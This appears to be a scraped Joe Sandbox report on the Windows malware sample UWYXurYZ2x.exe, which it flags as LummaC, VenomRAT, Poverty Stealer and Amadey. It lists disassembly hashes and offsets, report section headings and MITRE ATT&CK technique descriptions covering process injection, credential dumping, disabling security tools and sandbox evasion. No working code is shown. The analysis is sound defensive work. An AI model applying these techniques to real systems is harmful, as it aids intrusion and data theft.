Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acb8a11e30bb9e7bfb3ac3ec5fec18a77c5c0c553700fef9a4855bdef8debeed
Instruction ID: e704f2924d28ac0e801539195c12aa559125f9d6c81def77da712bfa52525dd2
Opcode Fuzzy Hash: acb8a11e30bb9e7bfb3ac3ec5fec18a77c5c0c553700fef9a4855bdef8debeed
Instruction Fuzzy Hash: 95012D3150C2A18BC719CF38A4A09BBFBF2AF97300F5985DDC5C29B291E725D905C792

Function 0014EE10 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 68840ebc8bb8f55e92713ff4147e03cf5251e8ef53237835898ac013f59968ef
Instruction ID: 175c1f97b727af5384ebe7b51b5ea05e15fe78a375737a241dec921f853a4974
Opcode Fuzzy Hash: 68840ebc8bb8f55e92713ff4147e03cf5251e8ef53237835898ac013f59968ef
Instruction Fuzzy Hash: 02F02836904308FBD2204E459C80D37B3EEFB8D768F100318F525275B1E362ED6187A1

Function 0012DEB0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 7d3c81147438ad19eeb39b128916681196ff0a9e17a2d8771031cd77e9d688f8
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: D3D0A7615487B10E57588D3864E0477FBE8EA47612B18149EE4D1E7105D320DC114798

Function 00150310 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fc00e958ef473933a67b473fe4b6b7700afd1ada829b183dff3a6494fca45df
Instruction ID: 8726106843150baab69546c9a003c2571dbc5fee9758b95ca275a625f44d90e2
Opcode Fuzzy Hash: 6fc00e958ef473933a67b473fe4b6b7700afd1ada829b183dff3a6494fca45df
Instruction Fuzzy Hash: 96D022A0684200BB0048CA09CC46E37B7BCDB87204F802025BA06C7350C610EC0182EA

Function 00136A00 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69d7bdca82f320139a106564442050af891fd6b22be16a8c829f924cbfc99222
Instruction ID: 3e4b8700edf8cd02ddbb6592e827bf3efce7a1de5300e465e585e515a6233333
Opcode Fuzzy Hash: 69d7bdca82f320139a106564442050af891fd6b22be16a8c829f924cbfc99222
Instruction Fuzzy Hash: CAC08CB2C08102CFC5042F00AC0205BB9315B22208F082030B41935232F732E6A6C50B

Function 0013912D Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,FF5DFD53,0000001E,00000000,00000000,0=), ref: 001391F6

Strings

P&, xrefs: 0013914B
0=, xrefs: 001391EA
ER, xrefs: 00139152
0=, xrefs: 00139160

Memory Dump Source

Source File: 0000000C.00000002.2627473680.0000000000111000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00110000, based on PE: true

Associated: 0000000C.00000002.2627367798.0000000000110000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628495295.0000000000154000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2628796675.0000000000156000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629427105.000000000015B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000C.00000002.2629662801.0000000000164000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_110000_WZMQlGj.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 0=$0=$ER$P&
API String ID: 237503144-76498936
Opcode ID: 58e9de2fa95d11e4850dbb601f02ebad994cf36ccaec98351317e875f92c735f
Instruction ID: 672b0a9efaeb7335fdf6cb2dab5662f9b8a1aaa8babd5826fe8807ebb534fb2b
Opcode Fuzzy Hash: 58e9de2fa95d11e4850dbb601f02ebad994cf36ccaec98351317e875f92c735f
Instruction Fuzzy Hash: 2A31AD70A08B518FD7718F28D8403ABBBF2FB85710F149A2DC4A69BB91D775A4428F80

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UWYXurYZ2x.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: VenomRAT

Threatname: Poverty Stealer

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Windows Analysis Report
UWYXurYZ2x.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre